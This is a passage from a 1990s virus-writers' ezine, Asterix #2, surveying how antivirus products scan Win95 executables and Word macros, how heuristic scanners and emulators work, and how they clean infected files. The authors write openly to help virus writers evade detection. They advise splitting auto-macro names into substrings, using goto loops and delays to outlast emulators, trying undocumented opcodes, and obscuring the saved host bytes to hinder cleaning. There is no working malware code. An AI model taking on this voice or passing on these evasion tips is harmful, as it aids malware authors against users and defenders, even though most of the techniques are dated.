was a real Microsoft's smash. Some of users tried to ignore it, but time shows that Win95 changed the world- everyone start using it. Today virus writers must to focus on this platform, because there are lot of users.First tries for Windows 95 started at the time when only beta version was available. VLAD promptly preparedfirst virus for Win95, and they spend a lot of time with exploring the details - it was Bizatch (byQuantum/VLAD). But their virus did not work under final Win95. The reason why it didn't work is simple - maybe some of you know book called "Inside Windows 95". A lot of userful things regarding windows internals ispublished there - it was also published before Win95 was released. For this reasons, programmers atMicrosft got order to changed some important things in Win95 to be incompatible with the book alreadywritten (to deny access to internal things). Also magic numbers of imports were changed there, and importedlabel for example FileOpenA was no longer correctly linked at load time.Another interesting is a Bizatch story. Because avers has access to beta version of this virus (well there aresome guys at virus scene that can trade internal things with avers without remorse) and they firstly assumedit is not functional. Of course, a real version they also got later on. But they named it Boza (well, all-around-the-world-hated Vesselin Bontchev (even avers hate him because of his ego)) - because he doesn't want toplease a virus author. But - CARO rules (setuped by Vesselin!) says that if virus calls itself in some way, thisname should be choosed primary. And Bizatch is: "Please note: name of this virus is [Bizatch] written byQuantum of VLAD". Instead of it Vesselin find a name Boza (from bulgarian alcoholic drink) - with noconnection to original virus (this is the worst case suggested by CARO naming rules). Everyone at the scenewas angry about avers, of course.

Forget about flame wars now. Scanning - that what is interesting. Windows 95 were 32-bit, but format theyused - PE, was used even time ago. Windows NT 3.x used it as well as win32s extension to 3.xx versions. Atfirst what one can expect from 32bit file format - all offsets and pointers are 32bit, of course. Other principlesare more-less simmilar to NE - there is primary entry point, several segments can be defined, many exportedfunctions (for 32bit DLLs), etc. But things are same as before - to scan for simple virus (non-encrypted) all isneeded to load entry point of file and scan for some bytes - all is as before, only PE loader is needed.Now let's see what weapons avers have against the Windows viruses. At first we have a look at oldiesscanning methods: scan-string scanning can be used in a same way as before. Checksummers may also doits work but a PE (or NE) schemes must be implemented there. The hardest part is heuristics and genericdecryption (well, or both at the same time). For PE a 32bit emulator must be programmed and at the presenttime I don't know about any antivirus having it fully functional DrWeb is preparing it, but not yet... For thisreason current heuristic engines uses for 32bit PE only passive heuristics (some kind of disassmbly). Andthats why there aren't generic decryptors and each polymorphical virus for Win9x must be handledseparately. But all Win9x viruses can be detected by its decryptor and - there are not many polymorphicalviruses for Win9x that are principialy different so at the present time a generic decryption is not as urgent asit was for DOS.

Macro worldMicrosoft offers many virus-friendly enviroments. During all the history it was this way and another powerfullmacro system becomes a new platform for viruses. Yeah, MS Office did it again. First tries to write virus forWord were something like jokes. Most of people hassitated to call it virus, "self-spreading macro" was mostobviouse definition. But today everyone call it a virus, and there are realy many of them now. One mayguess there are even more macro viruses (or other script viruses) appears monthly than "regular" viruses.Scanners have their life more complicated once again. Microsoft keeps "structured document format"documentation for themsefs claiming: it is a internal format, you don't need to know about it, just use ourprogramming interface. However, Microsoft's interface doesn't allow enought to scan for viruses in macroarea. Avers had to find out document format by themselfs. Many of them weren't able to do it for a long time(until third-party documentation appears). Because this format is up to twice fragmentized, and moreover -fragmentation definition can be fragmented as well. Scanning macros was so unusual for avers, so some

Page 64: EZine - Asterix #2

antiviruses scanned whole files (funny, if virus body scanned for can be fragmented too - and they are notable to catch fragmented pieces), or even specialized antiviruses appears and were rather successful atmarket - like F-Win or HMVS.

From virus-maker's point of view there is no more needed than to understood macro commands. But avershas to do much more. Microsoft's document format can be encapsulated in other formats and it is needed toscan them all (like MS Excnage's folders, etc). Once they have reading routines to access macro area, aregular scan-strings can be used. Some of first macro scanners just scanned from names of macros, but it isoutdated today. Scan-strings are really relieable. However, or polymorphic macro viruses things are morecomplicated. For these reasons and again - to catch new viruses appearing every day, a heuristic scannersappears. They are based on dissassembly of macro code (accessing macro area and walking throughinstructions, finding unusual and/or suspected instructions or combinations). For macros heuristic is muchmore reliable as instruction set is much more limitied, there are no registers or widely accessible memory,etc.

ClosingCongratulation if you read all the things above. Hope it was not boring, and it helps you some way. The mainthing I tried to present here is you have to think, not plagiating other viruses, not doing all viruses same wayone right like another - but to show you that you have to understand scanning methods in order to writebetter viruses. Because the more your virus complicates life to the avers, the more it is successful. If you canwrite something that completly beats currently used methods, thats the best. I can give an example of slovakviruses like Dark Paranoid, or TMC:Level_42, or let's start with german virus Tremor: its nothing unusualexcept after it was detected by avers and added into scanners - it permutates (changed usual schema) andold samples weren't caught by antiviruses again. Or Dark Paranoid: as they weak point of stealth viruses istheir presence in memory (and they can be detected there easily), Dark Paranoid is encrypted memory,having polymorphical handler of single-step interrupt to encrypt only one instruction beeing executed. In thisway Dark Paranoid can't be caught in memory by simple scan-string, it can't be caught in files once it isstealth. Or TMC, that stands for Tiny Mutation Compiler (well, linker actually) is able to permutates its owninstructions placing them in random order, connecting them with jumps and contitional jums and finallyrelocates all memory access instructions and jumps. Scan string for it can't be choosed as it can be brokenafter every single instruction. Moreover, in files it has only permutator and linker stored with data used toconstructuct and link whole body (not a instructions) - and it takes really long even to emulation heuristic toconstruct whole virus and to test it.These are examples of non-traditional thinking. Find your own way, break the limits of current point of view -this way you can efectively beat avers - that they affraids most of all: they can't change principles of theirscanners every day. Think of it...

flush

Page 65: EZine - Asterix #2

In this article I would like to introduce my own view to scanning technologies for macros used in mostcommon antiviruses.

Structure of WB6/VBAThe first thing you have to understand is how macro is stored in file. This is probably the most importantreason why is scanning doing the way it is done. So let start. I will assume you know something about VBA(visual basic for applications), what is the most common language used for macros. I would like to focus toVBA, because it is more common than WB6 (word basic 6). VBA project is stored in its own folder. (you caneasy take a look at it by using dfview - suplied with DevStudio). Each macro is stored in stream with a bitcomplex structure. Before macro is written to file it is compiled by built-in compiler to something like a stack-machine language. So a = b + c is something like this:

push b ; put b to stack push c ; put c to stack add ; pop b, c and put it's summary to stack pop a ; pop value and set a to it

Variables and function names are usually located in dictionary so it is a bit difficult to find them. In code arejust pointers or indexes. Moreover dictionary is not in macro file, so if avir (and many do so) is lazy it justskips them.

Other important thing is that jumps and calls are not linked in file so it is a bit difficult to trace code flow.

Anoter aproach to scan VBA is to decode "source" suplied with macro. In this case avir have full source ofcode (with all names and so on), so it is enough to skip some headers or something more and CRC it.

WB6 is much simplier in structure. It's code is stored in tokens (?), where each token has exact meaning. Forexample space, +, -, SomeFunction, number, variable, and so on. So it is rather difficult to write emulator ofthis language. I don't like to waste time with this, so some example (the same case as I used for vba):

variable "a" operator '=' variable "b" operator '+' variable "c"

and some function:

internal function MacroCopy string "my_macro" operator ',' string "new_macro"

As you could easy find out this structure is very simple and that probably caused that most recenttechnologie is CRC.

ScanningNumber of macro virii is growing day by day. This is a reason to use automatic systems to extract signatures.

Page 66: EZine - Asterix #2

Because they were coming with WB6, and WB6 has very simple structure, it seemed that CRC is the best. Itis "absolutely" exact - so it can recognise sub variants, it is fast and easy to implement. May be it seems silly,but it was in days when everybody trusted that polymorphism in macro is not possible (what a mistake :-). Soscanning algorithm is something like this: CRC all macros and check in database. Look at macros you foundand if they describes whole variant virii is identified exact. If something is missing and I think it is enough:possible virus. You can see even now the legacy of those old good days. Many variants are differ just in onetab or space after end of macro. CRC rulez... Suddenly polymorphic ones came to the light of world andCRC became not very efficient. Became not but it is very comfortable to just run some program on yourcollection and to have signatures. The simplies way you can see is just to modify CRC algorithm. In thosedays polymorphism was when name of variable changes or something like that, so why not to skipwhitespaces or variable names. And this is probably the final solution. So called smart-crc. Because ofstructure of VBA you can afford to skip variable names (and it is even more comfortable - who will search forit in tables). The structure of code is stored in code. It is enough to check the structure. You can easily seethat macro is doing something like ? = ? + ?. And this is enough. With this technique you can identify at least90% of current virii. Finally if you want polymorphism you NEED to change the structure of code. Forexample swap lines or add garbage code. And automatic AV technologies will be smashed to do ground.

The next and very old way are scanstrings. It is easy to implement scanstring like scanner for macros. Thismay be exact because you can follow either structure of code or names. For example you may be lookingfor:

ToolsMacro .Name = something with .Edit

These are two very easy to implement but efficient in use methods.

Some word about heuristicsThe main problem of macro virii is that there doesn't exist non virii macros (in fact they are very rare). So AVare not anxiety about how to detect, but how to distinguish between variants and how to find out macro is notvirii :).It is easy to follow functions macro is using, so write a macro virii heuristics is easy. There is not problem tosay: "this may be macro virii", because you can easily find "ToolsMacro .Edit", "Organizer .Copy" and othershit macro must be dealing with. In fact it is not enough. There are many legal self-installing macros usingmacro copying functions. In virii you can find usually somthing special ... Very important flags for heuristicsmay be:

There is reference to AUTOMACRO in code (or macro itself is auto) (so it is clever to build macro namefrom substrings not containing whole macro name)There are common commands and constructions like ActiveWorkbook.Modules and so on (try to avoidvery common constructions or use Set to substitute a part of command that is a bit hard to simulate)Bevare of construction like ...VirusProtection=0 (at least don't use value after command, it may be morevisible for heuristics)

Because structure of VBA is a bit more complex it is hard to simulate it. In fact all heuristics i know about arepassive (it means they are just searching for something) and i don't know about any big advantages in morecomplex analysis. In fact simulate whole macro is difficult task - try to write whole VBA... I have heardsomeone emulates variables, but i don't believe it. And i am almost sure there is no full emulator of vba. Sosomething like this

a$="tomacro" b$="au" c$=b$+a$

Page 67: EZine - Asterix #2

is hardly ever suspicious for scanners. And I can't imagin that this can be suspicious:

.... a$="" b$="" 10 c$=b$+a$ if c$<>"" goto 20 a$="tomacro" b$="au" goto 10 20 ....

Of course this is silly example, but i like to point that without code following emulation it is useless to haveemulation of variables. And you may use as many jumps as you want or even functions, cycles or somethingeven more evil. If you want to make day of aver harder just assign variables way that they can't be simulatedfrom top to down. It means use goto to turn back with new values and heuristics will have to be much morecomplicated.

So that is all i want to say ....

Page 68: EZine - Asterix #2

Hello, that's me again, if you didn't get bored of me before. Originally this part was supposed to be written byanother famouse coder, but he did not do that due to beeing short of time. Unfortunately, I'm much muchshorter of them than him. But never mind: we are going to aim at heuristical principles in a short articles, butbe sure to read also main articles about antiviruses.

The main reason of heurisics is, as I already mentioned, to detect unkown viruses as many viruses appearsevery month and it becomes difficult to keep track of them. First it was introduces by F-Prot (well, some kindof, a bit hard to say if we can call it heuristic) and first real implemantation in well-known TBAV.At first, we should define what heuristics exactly is, I try it by my own: heuristic scanner is a program (anti-virus, more exaclty) that is able to detect viruses by analyzis of their code - what they do. But to decide if thegiven code is a virus or not isn't easy even if it can look like it is - it is difficult to made it reliable. If you have alook on viruses, the code they use, if you have a look on many many viruses, like avers did, you can easilytell the things that are common for all the viruses. This are the beginings of heuristics - F-Prot usedsomething that was called in av-community "heuristics scan-strings". A short scan strings, searched in wholebody, of these typical constructions: like write command which is typicaly mov ah, 40h; mov cx, 1234h (size); int 21h. This is of course only illustration, this can be done in many ways, but not that much to have most ofthem factorized (using wild-card scan-stings). If several of these scan-strings are found, you can say there isprobably a virus. But many regular programs written in assembler looks this way and not to have falsepossitives it is required to hit many of these strings to report a possible virus infection.Some avers trusted to f-prot's reports of possible viruses, but presented form wasn't quite reliable andmoreover, it was not able to detect more comlpicated pieces as it was set-up-ed to low sensitivity.

TBAV ruled the worldfor a short time at least. Franz Heldman presented a brand new technology called heuristics in excelent look.(but only for a first look). For a first look all stared in amazement: avers because they even never think aboutsuch a things (many of them are only doing their work without real invetions), and vx-ers because it was ableto detect even viruses they are going to write. But reallity was a bit different: avers for a long time didn'tcount TBAV's heuristics into scanning methods at all, they reported heuristics as not reliable (mostly becausethey weren't able to replicate this technology even in simple look as TBAV has). Virus writers started to find aways how to fool TBAV (as soon as they stopped affraid of it).Let's see how TBScan works: it uses passive heuristics (structured dissassembly) to analyze instructions.Main aim was as before - to detect usual code-sequences found in viruses. Tbscan marked them with lettersby each file, and there were so many flags during years of development of tbav that covers whole alphabetplus some other characters. Starting from entry-point Tbscan checks instruction by instruction judging themand marking known code-sequences. But thats not enought, for sure. Also jumps are followed and onconditional jumps both paths are disassembled. However, as dissassembly is done in single-pass, a simpletricks that breakes intructions, etc can make tbscan to loose its track of code. Also it is easy to fool tbscan bydoing the things in non-usual way or indirectly. As it disassembles the code, even simple mov ah, 3f; inc ahwere enought to do so.Tbscan also has many false possitives due to its not-fully relieable technology - when tbscan lost track ofcodeflow (that happens quite often) it detects many flags on garbage code it finds. There were a quite longdatabase of files that are known false postitives - some kind of anti-scan-strings, if found, heuristics is not

Page 69: EZine - Asterix #2

performed on such a file.TBAV's main weak point is it is so clear for everyone - even for virus writers they may easily guess how itworks - and how to avoid to be caught. As soon as TBAV becomes popular, neartly everyone started toexclame their features they are tbav-proof. All is needed, during programmig, periodicaly run tbscan to seewhen it displays its flags. Well, main keypoints to keep tbav far from you is to use good encryption (that can'tbe passed by tbscan's decryptor), or to do things not as clearly as it is usual. Tbscan detects only usualschemes, so simple tricks like and-s, add/sub on comparing will work. However, tbscan is out of game today.There were also some plagiats, a german 'Suspiciouse' (as I remember), but all they went as unsucessful astbav.

To fix these disadvantages it is possible to partialy find out the values of registers by semi-emulating of pieceof code before key instruction (e.g. int 21). Only registers are emulated and memory access only for reading(not to damage memory). This is used for example by active heuristic scanners to analyze code they can'treach (we can call it local semi-emulation). In this stage doing mov/inc will not help, but doing rot-s or and-sinstead of comparing will sure fool this alorythms.

Improoving heuristics - emulationThere were a lot of big words how to do heuristics in real way, to do the things as they really are in file, butnot runned. Someone may guess a single-stepping might be used, but in reality it weren't ever used for it. Itis equivalent to running each file, but checking what you are executing. But your automatic debugging (itssomesthing like it) can't be used due to many protective envelopes that are designed to crash debugers. Inother words single stepping was never used for active heuristics as it can crash several times on a hard discfiles per scan. I remember, for example, dedicated scanner for EMM1:Level_3 that uses single-stepping. Ithangs several times in my utilities directory, runs many files (even pkzip), etc.In fact, only emulation can be used for active heuristics - that is to check for is file exactly doing, and todecide if it is viral code or not. In this point of view, there are two primary objectives. First one is a bit likebefore - to find out suspective code constructions, but it is less important now. The more important is tomonitor activities that are really done. Let's imagine what virus usualy do - it tests something, becomesresident (if it is a resident virus), and infects files on some certain activity in system. Well, and for examplebecoming resident can be easily caught by active heuristics even if it is done in unreadable way - because itdetects direct modifications (let's talk about dos now) of 0:[413] or MCBs. But what really defines a virus is ainfection of other files - if emulated program searches for executables, modifies them (in order to replicate) itis virus nearl for sure. If virus only installs itself into memory, a simple tests are run in virual machine - a file isrunned (and checked for infection), or opened for r/w, or opened on removable drive (likely copied to floppy).This usualy notices any virus. Now you can surely guess some tips how to fool them. But we have tocontinue: Because active heuristics is not 100% stable, there is usualy still engine for searching of typicalconstructions with local semi-emulation (mentioned before). Capabilities of virus can be detected also thisway - even if they may not appear from the first view (or emulation ;-) Now have a look at limits of emulators - this is primary subject to be undetectable by active heuristics: thereis virtual machine. Its main advantage and disatvantage at the same time. Of course, it is not V86 virtualmachine you probably think, but emulated computer:

it usualy has low memory (depends on implementation, even dos memory can be rather low!),i/o ports are not working - some very-very popular are emulated, but no more - because emulater can'tallow to emulated program to write to ports, it can't guess real life of connected devices i.e. playing withsome ports might cause emulator to loose track.Also, even emulated ROM might be writeable (but don't try it, because it can be real memory-mirroredROM ;)Most of interrupts are not functional or are functional only in limited way. Int 21 and int 13 are of course

Page 70: EZine - Asterix #2

emulated as much as possible - because it is way of detection, but less known functions on int 21possibly will not work (as well as other interrupts)Hardware interrupts are not functional. For some purpose the most usual - irq 0 (int 8) is possiblyemulated, but for sure not with same periodicity as in reality, because emulator is much-much slowerThats also important - slow emulator is a very seriouse limit - users don't want to spend all their life byscanning disk and thats why emulation is time-limited (or by time, or by number of emulatedinstructions). For this reason emulation have to be aborted on timeout too (for this reason there is alsousualy some dynamical adjust of lenght of emulation - if a very suspicious actions are found, moreinstructions are emulated).But timeout must be there, because emulator is not 100% functional (can't be by its definition) anymany regular programs might crash or stay in infinite loop. And if it takes you really long to do real viralactions, emulator will abort on timeout sonner than it noticed your activity. (don't perform actionsdirectly - no fast infection - that's not a feature, but a bug! wait a bit, be less deterministic)There might be bugs in emulator - but most usual instructions are working for sure. You may try someless usual and undocumented (like undocumented versions (aam), instructions not in matrix (sal andothers), etc) but many of them are cpu-dependant. Moreover it tooks few minutes for avers toimplement new instruction (if it is some easy one). Also you may test some memory wraps (over-segment and global memory wraps might not work, if they are computing adress lineary, SIB clippingmight not be handled correctly), test if A20 mapping works.Also we are all 32-bit now: you can use 32bit registers, 32bit access and 32bit access modes. Theremay be sill bugs in 32bit opcodes, or they are not working at allThere are also loading limits - because whole file (imagine 500k) can't be loaded and emulated - tookstoo much time. Only a some part of file is loaded to memory and you can test it in some way. (like usinghost data as crypt-values).Enviroment is more-less static, interrupts are not really emulated (tooks too long to emulated wholeint21, loading from fat, etc): as int instruction is emulated - it returns values depending on inputs ordoesn't emulate at all (less important). Int chain is emulated (usualy) only if it is redirected - until itreaches dos entry. You can check if your interrupts are really passed to dos and processed.You can use some anti-trace tricks (all you sure know some), but good emulators can trace throughanti-trace envelopes of other programs, so it will possibly go even through such a tricksDo the things less clearly, if your virus is clever enought not to be caught on very first executed exe-file,you have to be undetectable by passive part of heuristics as well (searching for instructions)... try to imagine other limitations - because all is done by emulating you can surely guess others:emulation is slow, buggy, speed and size limited, and very incomplete.

Currently leading heuristic scanners are NOD/iCE32 and Dr.Web - both of them are using mentionedtechnologies (with also mentioned limitations), but only for dos executables (how lucky). At the present time,none of them has 32bit emulator (I mean not written in 32bit, but fully emulating 32bit) and thats why theycan't perform active heuristic for Windows executables (PE/LX), and viruses for windows are not that muchaffected by their heuristics power. For 32bit Win executables they are using only passive part - i.e.disassembly and searching for suspicious code constructions (typical viral sequences).

These two antiviruses has much less false possitives, as they need exact actions to judge the file as infected.(but they uses anti-scan-strings as well, because there are always false posstives). But the most amazingthing uppon them is quite detailed description they report for infected file (especialy by NOD) - they can findout if virus infect boot as well as com/exe files, if it infects sys files, if it is resident, stealth, polymorphical, etc.You can nicely see it on NOD/iCE in which the scan-strings can be turned of to use only a heurisics. The hit-rates running heuristics-only are quite impressive.

Page 71: EZine - Asterix #2

Other heurisics scannersThere are of course some other heuristics scanners in the world, but less important. AVP has a kind of activeheurisics too, as it is part of generic decryption engine AVP has. But as AVP is the highest-standard antivirusin the world and it has really lots of scanstrings, its heuristics can be set-up-ed for lower sensitivity which alsobrings less false possitives. Heuristics is also less visible, because it reports unknown virus really rarely.Simmilar situation is for Dr.Solomon's Toolkit (not Solomon's any more, of course). In our tests we modifiedtoolkit's viral databse not to have any scanstrings to test heuristics only. Result was as expected: less than70% (slightly vary). You really don't need to affair of this heuristical engine, if you can beat those mentionedabove. Solomon added only some very easy one (like AVP) to have some less hitrate also on unknownviruses. But Solomon's policy in scan-strings was to add anything, no matter if it is a virus - so they have abiggest hitrates without any thinking of it (this is why I don't like it).The worst heuristical scanner I know is AVG, time ago it has same weak point as Tbscan has, even more - itshows emulation process (with optional step-by-step confirmation) and you can see code and registers - andeasily test the bugs in it :) It was showen only to impress audience, because it was really buggy and useless.It was several times improoved, but without reasonable result - first versions were extremly slow and buggy.Afterwards, they used new scanning/heuristical core (developed by someone else who joined their team)which is a bit faster and better, but still pretty weak.To finish a overview of others I have to mention NAI as well. But it is rather easy to accomplish, because NAIhas no own technology (or really very little - only some programmers that downgrade buyed technology byputting it together with others). NAI buys anything that can be buyed, currently as far as I know they areusing engine of dr.solomon with roughly same capabilities as dr.solomon. May be they'll try to buy anotherheuristical scanner... Who knows...

Heuristical cleaningNow we are in second, more-less important chapter of this article. Heuristical cleaning was firstly presentedby TBAV, program named Tbclean. But at first we have to explain what heuristical cleaning is: a cleaning ofvirus from file without knowing virus exactly, just by tracing it or more complex automated analyzis. Butheuristical cleaning is less important than scanning, because it is much more reliable and also much lessused. Moreover, the hitrate is analyzed in test-tables, not these high-tech features.Tbclean performs it in most easy way. As TBAV was lack of emulator engine, Tbclean uses single-steppingto trace program. You can surely guess it will not work in many cases. Of course - it crashes (wholecomputer) on protective envelopes, and sometimes also on usual programs. But it sometimes works.Principle was simple tracing virus, because virus when it does usual things, reconstructs host body andpasses control there. Idea is to allow reconstruction (but disallow instalation, if possible), and on jump to hostbody make a snapshot of reconstructed file. Passing control back to host was detected by jumping (or ret orwhatever) to offset 100h (for com's), or far-jump (retf respectively) for exe files. Nearly every virus ends thisway. All is needed is to write image back to disk and work is done (it is verry simmilar to exe-unpackers withtracing).To prevent instalation, tbscan for example returns for GetDosVersion call version 2, that most of virusesrefuses. Simple and effective. But there were (are) also many other tricks. Some of them you may guess ifyou want to write simmilar cleaner: prevent of some instructions (like cli, i/o ports, hard stack modifications,filter interrupts (they are redirected not to be accidentaly infected - int21 for example usualy returns error(carry set)). Big problem it to find out where to cut-down the file. File can be easily reconstructed, but cleanerdon't know where to cut it. There are several possibilities:

Cut it on entry point (sounds good, but will damage files if virus doesn't puts itself at the end). (tbcleanalways do this - thats why it can't clean Commander Bomber for example)Leave it as it is. (works almost everytime - but there is still inactive virus body, and some stupid

Page 72: EZine - Asterix #2

antiviruses still might detect it)To guess virus infection type and virus size (much more complicated, only some of newer cleaners dothis)

Tbclean was first and really simple and buggy. It crashed very often, in many cases reconstructed file wascorrupted, and moreover - as it becomes pretty famouse there were tricks like in virus Varicella, that wasreally executed whey it was cleaned by tbclean (this virus mades Franz Heldman really angry ;) But in thesedays it is forgotten as well as whole TBAV.

Emulation makes it reliableYes, thats right. With a new generation of heuristical scanners (Dr.Web and NOD/iCE), there are betterpossibilities to clean file - and not to crash. Principle remains the same - emulate virus as much as possible,to find out as many information as possible. This is some deep heavy woodoo magic of avers - thats whyonly really few of them can do this. Of course, much better is exact disinfection which is much morevalueable (like AVP has), but to impress us (vx-ers) and other avers, this magic is here ;-)At the present time, however, it is functional enought only in NOD/iCE (pretty impressive, but due tomentioned limitation of their emulator it doesn't work for 32bit files (win)). Heuristics cleaning is also used inAVG, but I would say the same as to their heuristical scanner: it was really poor time ago, and afterupgrading core it is still not enought. Finally, there is Dr.solomon (which is also used as core engine in NAI'snow) but it doesn't perform generic cleaning at all (I mean cleaning unknown viruses). As far as I haveinformations, it is only used to disinfect virus that are possitively known as cleanable. Thats why you will notnotice a heuristical cleaning at all. Reffering to things above, I will focus primarily on NOD/iCE as it uses imhobest technologies of all mentioned.

Generic idea is same - to emulate virus to allow him reconstruct host file, and use retrieved infromation torepair host. All is done in emulated virtual PC, with emulated disks. The simpliest way of disintection is tosave reconstructed file and to cut out virus. As there are several types of appending virus to file, it mightslightly differ on technology how to cut it out. Clever technology, if virus works fine in emulator, is to virtuallyinfect several virtual files (goats) to find out size of virus and where the virus is stored (by diffing with originalfile). This way they may guess nearly exact the infection methods of virus. For combined boot/exe/comviruses, as they are usualy installing itself to mbr, a virtual reboot is done to activate them in virtual pc afterthey installs into virtual mbr. (oops, so virtually ;) After guessing the size and knowing where virus stores itselfin file, a real infected file might be run (virtually, again) to repair host, find out entry-point, and cut it usinginformations retrieved before (if they are not available, some alchemy is done or virus body is left there).This way it looks simply, but isn't. I guess heuristics scanning and heuristics cleaning is top high-techtechnology avers are using now (also reffer to my overview of antivirus methods). Even if the principles andideas are simple there is lots of things to be done to make virus work in virtual pc, so the complications youmight prepare for heuristics (cleaning especialy) might be awarded by your success. Good luck!

flush

Page 73: EZine - Asterix #2

Well, dear virus friends, this article may be a little bit unfriendly, but, our mag is an open forum. And besides,we do not have CDA (now after couple of week i don't know what stands this for). The main goal of thisarticle is just to show our vx community, how easy can be our viruses removed, when necessary.

AV Companies There is a shitload of viruses and virus strains around, and many of them are "In the wild". Estimated viruscount is about 20000+ and we also have more than 3500+ macroviruses. It is not likely any AV software cansuccesfully detect all the viruses. Nor they can remove it all. But they are at least trying it.

A. Overwriting viruses These viruses are basically uncleanable. No doubt. This category of viruses is lame. And lameness of thisvirus type is also the reason, why the infected files cannot be cleaned to their original state. They can bedeleted, renamed, but the only way to restore infected files to their original state is the use of backup copies(if they exist).

B. Non overwriting viruses. This type of viruses can be removed in up to 100 per cent of cases. The reason is the virus of this categoryhas to launch the host in some monent. In this specific point of time, the host file is rebuilt in that way, as if itwas not infected, or better the file is executed as not infected.

But, let's take a closer look on every type of non-overwriting viruses.

B1. FILE VIRUSES

1. Companion virusesThis type of viruses takes advantage of priority of launching executable files with the same name butdifferent extension. Sorted from highest to lowest priority, the files are launched in following order:

1. com2. exe3. bat

The virus simply creates file with the same name, but with extension having higher priority, containingthe copy of virus, or changes the file extension to one with lower priority and writes the viral into the filewith original name and extension. As the virus doesn't modify the infected file in any way, it is trivial toremove the virus. The structure of the file can help to determine the original file extension. Any file,starting with obvious 'MZ' or 'ZM' is handles as EXE file by the system, when having specific minimallenght. This limit seems to be 26 bytes. Following code

db 'MZ'

Page 74: EZine - Asterix #2

db 21 dup ('A') int 20h

exits without any problems, but when you replace second line with

db 22 dup ('A')

you get nice message "Program too big to fit in memory".

Thus, first remove the file with viral body. Then check the file structure and of the file with the samename and rename it back to original extension. And bingo.

2. Linking viruses (DIR II and its kind) This type of viruses takes doesn't change anything in infected file. It just link the starting cluster of thefile to the viral body located somewhere on the disk.

Main symptom one can see if lot of cross-linked files all around the disk drive. To "clean" this kind ofvirus one need to link back the strating cluster of the file to the original. And do not forget to remove thevirus body from the harddisk.

For information considering FAT 32 take a look at great article A fool named FAT 32 by flush.

3. Com viruses Basically, there are two types of COM viruses. The first type uses the "classic" way to receive thecontroll. It writes to the beginning of the file jump to the virus body and saves the original bytessomewhere in virus body.

JMP virusE9 xx xx

Rest of them program

virus:Virus body

Original bytes

To remove virus of this kind, is necessary to locate in virus body original bytes form the file start andrestore the start of the file. Then the file is it was before infection (but still contains the viral body). Laststep in the process of removing virus is to cut the viral body. In most cases can be used as the best forcutting the (xx xx)+3 position, where xx xx stands for the size of initial jump. In most typical case wholebody of the virus is removed. In some rare exceptions the file will contain some bytes of viral body.

Second approach is more complex. The virus body is written to the beginning of the file and the rest ofthe file is just moved behind the virus body. On execution the virus moves the file to its "normal"position and launches it.

Virus body

Program moved up

The solution of infection is very handy is this case. All the Averz have to do is to move the program to

Page 75: EZine - Asterix #2

the beginning of the file. Nothing less, nothing more.

As possible "D-fence" can be used combination of both infection methods above. But the removal stillwill be very easy.

4. Exe viruses Typically, exe infecting viruses appends the viral body to the end of the file and then virus modifiesEXE header in order to launch virus before the infected file.

EXE headerCS:IP

Program

Virus body

It is sure somewhere in the virus is stored at least original value of Exe_CS and Exe_IP, optionally alsoRelo_SS and/or Relo_SP or even the whole original EXE header. Virus is removed in following steps.At very beginning the Exe_CS and Exe_IP are located and their values are restored. Optionally arerestored also Relo_SS and Relo_SP. Then is necessary to compute values of size of the file in pagesand store this two words to offsets 2 and 4 in the header. Now it is possible to save restored file headerto the file. And last step is the cutting the file to its original size. If the virus contains whole original header (as most of the steatlh viruses do) is the removal of the viruseasier as described above. All the cleaning is about is to locate the original header inside the virus andsave it to the offset 0 in the file. Then naturally Avers cut the virus body and .... Done !

Well, exe files, the above stuph was all about the DOS times. Now is the PE file the target. Andremoving of virus infections here can be even easier. If the bad Aver is really lazy, all he need to do isto skip the virus. In other words, he has to set original RVA entrypoint on the file. He doesn't need tocare with viral body or added section.

So dudes, in order to make their task harder, do some unusual operation with the saved bytesnecessary to hand over the code flow to the infected host.

5. Sys viruses Device drivers are the rarest target for viruses. Since Dark Angel published his tutes, everyone caninfect *.sys files. The trick is simple as hell - it uses the feature of SYS philes - chaining of the SYS files.All we need do infect a SYS file is to add the necessary code to the host and just change the first dwordof the file to point to the header of our new character device. So easy it is.

So is the cleaning. Very lazy Aver can assume something in the way there is always only once driver inSYS file. The procedure of cleaning is then

take a word from offset BOF+2 in the filelseek to that locationcut here the filelseek to BOFwrite this 4 bytes: 0xFF 0xFF 0xFF 0xFF to the BOF

They could also take a more optimised way: to transverse all the headers, till they found a last one.This is beginning of the virus, so cleaning is easy then.

Page 76: EZine - Asterix #2

B2. Boot viruses Boot virus occupies MBR of the hard disc or boot sector of the drive. In most typical case, the virus stores"somewhere" on the infected media also the original, uninfected MBR or boot sector. To wipe boot virus isvery efficient to use the sector with stored MBR/boot sector and to restore its original location. Anothermethod is to use of some kind of generic MBR/boot sector, when original in not available. To try to fuck upwith the averz, all you have to do is not to allow a clean boot. Could be arranget with a little bit phantasy andcode ...

B3. Macroviruses As for the macroviruses, there is a very simple workaround - all you have to do is to delete macros. Sure, thisis not the best solution, but quit reliable. You have no macros, viral as well as non viral. Non viral macros arelet's say casulities of the war.

B4. Multipartite viruses Basically these viruses have multiple targets of infection. Therefore cleaning such a thing is more complex -you have to clear e.g. boot sector and the files or documents and philes. Lot of possibilities AVers can dosome errors :)))

B5. Special viruses Requires special methods of removing, if the removing is possible. Here belongs also the viruses with somekind of "life insurance", like One_half with its hard disk encryption or Griyo s Implant with its cyclic partition. Ifsome AVer doesn't pay atention to this special method of infection can await a lot of hot line traffic.

C. Closing wordsAVers due the increasing number of viruses doen't have time to clean all of them. But they are at least trying- so do their job as much time costing as it will be not worth the money.

Page 77: EZine - Asterix #2

For the people (and this article is dedicated for them), which have no clue about the thing and for the fullcoverage. PE (Portable Executable) is format of executable files of all newer Window$. In comparision withnow nearly extinct NE species brings PE some substantial advantages. The most important one is the 32-bitFLAT model support. In this memory model the segments (as we know them from DOS or 16-bit protectedmode) practically did lost its sense. Every process has its own adress space, we do not need to solve the oldproblem where to place some piece of code in order not to fuck up (overwrite) another proggy and so on.Due to this feature, can every program decide on its own, with practically no limitations, where it will storewhatever it want. If the program wants to have at adress 0x1234567 some wierd string, it can expect thestring will be really there. therefore it is not necessary for the program to have relacationa table (but there aresome reasons why this table is linked to the program by default). As i mentioned before, segments in such amode doesn't have any special nor important reason. Program after the start has already set CS, DS, andES to the segments covering whole adress space (with 4GB size) and the program can access any desiredadress. Of course, if the system thinks it it doesn't have access to this adress (if there is something importanton this adress [this is not the case under W95 or W98] or there is nothing on this adress) attempt to accesssuch a adress could generate exception. Such exception could be of course intercepted and the lamer at thekeyboard will have no clue about it :-)... But this is far advanced for now... As we want have the overview, how the adress space looks like, here it is:

